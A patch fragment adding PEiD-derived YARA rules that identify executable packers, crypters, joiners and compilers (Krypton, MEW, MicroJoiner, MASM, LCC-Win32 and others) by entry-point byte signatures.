+    strings:
+        $a = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00964_Krypton_v0_4_
+{
+    meta:
+        description = "[Krypton v0.4]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+    condition:
+        $a
+}
+
+rule PEiD_00965_Krypton_v0_5_
+{
+    meta:
+        description = "[Krypton v0.5]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+    condition:
+        $a
+}
+
+rule PEiD_00966_kryptor_5_
+{
+    meta:
+        description = "[kryptor 5]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_00967_kryptor_6_
+{
+    meta:
+        description = "[kryptor 6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+    condition:
+        $a
+}
+
+rule PEiD_00968_kryptor_9_
+{
+    meta:
+        description = "[kryptor 9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00969_LamCrypt_1_0____LaZaRuS_
+{
+    meta:
+        description = "[LamCrypt 1.0 -> LaZaRuS]"
+        ep_only = "false"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00970_LameCrypt____LaZaRus_
+{
+    meta:
+        description = "[LameCrypt -> LaZaRus]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_00971_LameCrypt_v1_0_
+{
+    meta:
+        description = "[LameCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+    condition:
+        $a
+}
+rule PEiD_00972_LamerStop_v1_0c__c__Stefan_Esser_
+{
+    meta:
+        description = "[LamerStop v1.0c (c) Stefan Esser]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+    condition:
+        $a
+}
+
+rule PEiD_00973_Lattice_C_v1_01_
+{
+    meta:
+        description = "[Lattice C v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00974_Lattice_C_v3_0_
+{
+    meta:
+        description = "[Lattice C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+    condition:
+        $a
+}
+
+rule PEiD_00975_LaunchAnywhere_4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere 4.0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00976_LaunchAnywhere_v4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere v4.0.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B}
+    condition:
+        $a
+}
+
+rule PEiD_00977_Launcher_Generator_1_03_
+{
+    meta:
+        description = "[Launcher Generator 1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00978_Launcher_Generator_v1_03_
+{
+    meta:
+        description = "[Launcher Generator v1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 74 51 C1 E0 02 A3 5C 20 40 00 BB 70 21 40 00 03 C3 8B 18 68 60 20 40 00 53 B8 F0 21 40 00 03 05 5C 20 40 00 8B D8 8B 03 05 70 20 40 00 50 B8 70 22 40 00 03 05 5C 20 40 00 FF 30 FF 35 00 20 40 00 E8 26 00 00 00 A1 58 20 40 00 40 A3 58 20 40 00 EB A2 6A FF E8 00 00 00 00 FF 25 5C 30 40 00 FF 25 60 30 40 00 FF 25 64 30 40 00 FF 25 68 30 40 00 FF 25 6C 30 40 00 FF 25 74 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00979_LCC_Win32_DLL_
+{
+    meta:
+        description = "[LCC Win32 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00980_LCC_Win32_v1_x_
+{
+    meta:
+        description = "[LCC Win32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+    condition:
+        $a
+}
+
+rule PEiD_00981_LCC_Win32_
+{
+    meta:
+        description = "[LCC-Win32]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+    condition:
+        $a
+}
+
+rule PEiD_00982_LGLZ_v1_04__com_
+{
+    meta:
+        description = "[LGLZ v1.04 [com]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 19 B4 09 BA 12 01 CD 21 B4 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00983_LGLZ_v1_04b_
+{
+    meta:
+        description = "[LGLZ v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E 06 0E 8C C8 ?? ?? ?? ?? BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 ?? ?? F3 A5 4B 48 4A 79}
+    condition:
+        $a
+}
+
+rule PEiD_00984_Libraries_by_John_Socha_
+{
+    meta:
+        description = "[Libraries by John Socha]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00985_LOCK98_V1_00_28____keenvim_
+{
+    meta:
+        description = "[LOCK98 V1.00.28 -> keenvim]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00986_Lockless_Intro_Pack_
+{
+    meta:
+        description = "[Lockless Intro Pack]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_00987_Lotus_Word_Pro_document_file_
+{
+    meta:
+        description = "[Lotus Word Pro document file]"
+        ep_only = "false"
+    strings:
+        $a = {57 6F 72 64 50 72 6F ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C 57 50 37}
+    condition:
+        $a
+}
+
+rule PEiD_00988_LSI_C_86_Run_Time_Libray_
+{
+    meta:
+        description = "[LSI C-86 Run-Time Libray]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+    condition:
+        $a
+}
+
+rule PEiD_00989_LTC_v1_3_
+{
+    meta:
+        description = "[LTC v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+    condition:
+        $a
+}
+
+rule PEiD_00990_LY_WGKX____www_szleyu_com_
+{
+    meta:
+        description = "[LY_WGKX -> www.szleyu.com]"
+        ep_only = "false"
+    strings:
+        $a = {4D 79 46 75 6E 00 62 73}
+    condition:
+        $a
+}
+rule PEiD_00991_LZEXE_v0_91__v1_00a__1__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (1)]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 1F 8B ?? ?? ?? 8B F1 4E 89 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00992_LZEXE_v0_91__v1_00a__2__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 06 89 F9 0E 41 1F 8C CB 89 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00993_Macromedia_Windows_Flash_Projector_Player_5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+    condition:
+        $a
+}
+rule PEiD_00994_Macromedia_Windows_Flash_Projector_Player_v3_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+    condition:
+        $a
+}
+
+rule PEiD_00995_Macromedia_Windows_Flash_Projector_Player_v4_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00996_Macromedia_Windows_Flash_Projector_Player_v5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_00997_Macromedia_Windows_Flash_Projector_Player_v6_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00998_MarjinZ_EXE_Scrambler_SE___by_MarjinZ_
+{
+    meta:
+        description = "[MarjinZ EXE-Scrambler SE - by MarjinZ]"
+        ep_only = "false"
+    strings:
+        $a = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00999_MaskPE_1_6____yzkzero_
+{
+    meta:
+        description = "[MaskPE 1.6 -> yzkzero]"
+        ep_only = "false"
+    strings:
+        $a = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+    condition:
+        $a
+}
+
+rule PEiD_01000_MaskPE_V2_0____yzkzero_
+{
+    meta:
+        description = "[MaskPE V2.0 -> yzkzero]"
+        ep_only = "false"
+    strings:
+        $a = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+    condition:
+        $a
+}
+rule PEiD_01001_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 ?? 0? 00 00 A3 ?? 32 40 00 E8 ?? 0? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01002_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 ?? 0? 00 00 A3 ?? ?? 40 00 ?? ?? ?? ?0 ?0 ?? ?? 00 00 00 ?? ?? 0? ?? ?? ?0 ?? ?? ?0 ?0 ?? ?? ?? ?0 ?? 0? ?? ?0 ?0 00}
+    condition:
+        $a
+}
+rule PEiD_01003_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+rule PEiD_01004_MASM_TASM___sig1_h__
+{
+    meta:
+        description = "[MASM/TASM - sig1(h)]"
+        ep_only = "false"
+    strings:
+        $a = {CC FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_01005_MASM_TASM___sig2_h__
+{
+    meta:
+        description = "[MASM/TASM - sig2(h)]"
+        ep_only = "false"
+    strings:
+        $a = {C2 ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_01006_MASM_TASM___sig4__h__
+{
+    meta:
+        description = "[MASM/TASM - sig4 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C3 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_01007_MASM_TASM___sig4__h__
+{
+    meta:
+        description = "[MASM/TASM - sig4 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01008_MASM32_
+{
+    meta:
+        description = "[MASM32]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+    condition:
+        $a
+}
+
+rule PEiD_01009_Matrix_Dongle____TDi_GmbH_
+{
+    meta:
+        description = "[Matrix Dongle -> TDi GmbH]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+    condition:
+        $a
+}
+
+rule PEiD_01010_Matrix_Dongle____TDi_GmbH_
+{
+    meta:
+        description = "[Matrix Dongle -> TDi GmbH]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01011_MEGALITE_v1_20a_
+{
+    meta:
+        description = "[MEGALITE v1.20a]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+    condition:
+        $a
+}
+
+rule PEiD_01012_MESS_v1_20_
+{
+    meta:
+        description = "[MESS v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+    condition:
+        $a
+}
+
+rule PEiD_01013_MetaWare_High_C___Phar_Lap_DOS_Extender_1983_89_
+{
+    meta:
+        description = "[MetaWare High C + Phar Lap DOS Extender 1983-89]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09}
+    condition:
+        $a
+}
+
+rule PEiD_01014_MetaWare_High_C_Run_Time_Library___Phar_Lap_DOS_Extender_1983_89_
+{
+    meta:
+        description = "[MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 50 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01015_Metrowerks_CodeWarrior__DLL__v2_0_
+{
+    meta:
+        description = "[Metrowerks CodeWarrior (DLL) v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01016_Metrowerks_CodeWarrior_v2_0__Console__
+{
+    meta:
+        description = "[Metrowerks CodeWarrior v2.0 (Console)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01017_Metrowerks_CodeWarrior_v2_0__GUI__
+{
+    meta:
+        description = "[Metrowerks CodeWarrior v2.0 (GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01018_MEW_10_by_Northfox_
+{
+    meta:
+        description = "[MEW 10 by Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+    condition:
+        $a
+}
+rule PEiD_01019_Mew_10_exe_coder_1_0____Northfox__HCC__
+{
+    meta:
+        description = "[Mew 10 exe-coder 1.0 -> Northfox [HCC]]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+    condition:
+        $a
+}
+/*
+rule PEiD_01020_MEW_11_SE_1_0____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE 1.0 -> Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_01021_MEW_11_SE_1_1____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE 1.1 -> Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01022_MEW_11_SE_1_2_
+{
+    meta:
+        description = "[MEW 11 SE 1.2]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01023_MEW_11_SE_v1_0____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE v1.0 -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C ?0}
+    condition:
+        $a
+}
+
+rule PEiD_01024_MEW_11_SE_v1_1_
+{
+    meta:
+        description = "[MEW 11 SE v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01025_Mew_11_SE_v1_2__Eng_____Northfox_
+{
+    meta:
+        description = "[Mew 11 SE v1.2 (Eng) -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01026_MEW_11_SE_v1_2____Northfox_HCC_
+{
+    meta:
+        description = "[MEW 11 SE v1.2 -> Northfox[HCC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01027_MEW_11_SE_v1_2_
+{
+    meta:
+        description = "[MEW 11 SE v1.2]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01028_MEW_5_1_0____Northfox_
+{
+    meta:
+        description = "[MEW 5 1.0 -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01029_Mew_5_0_1____NorthFox___HCC_
+{
+    meta:
+        description = "[Mew 5.0.1 -> NorthFox / HCC]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D}
+    condition:
+        $a
+}
+
+rule PEiD_01030_MicroJoiner_1_1____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.1 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a
+}
+
+rule PEiD_01031_MicroJoiner_1_5____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.5 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+    condition:
+        $a
+}
+
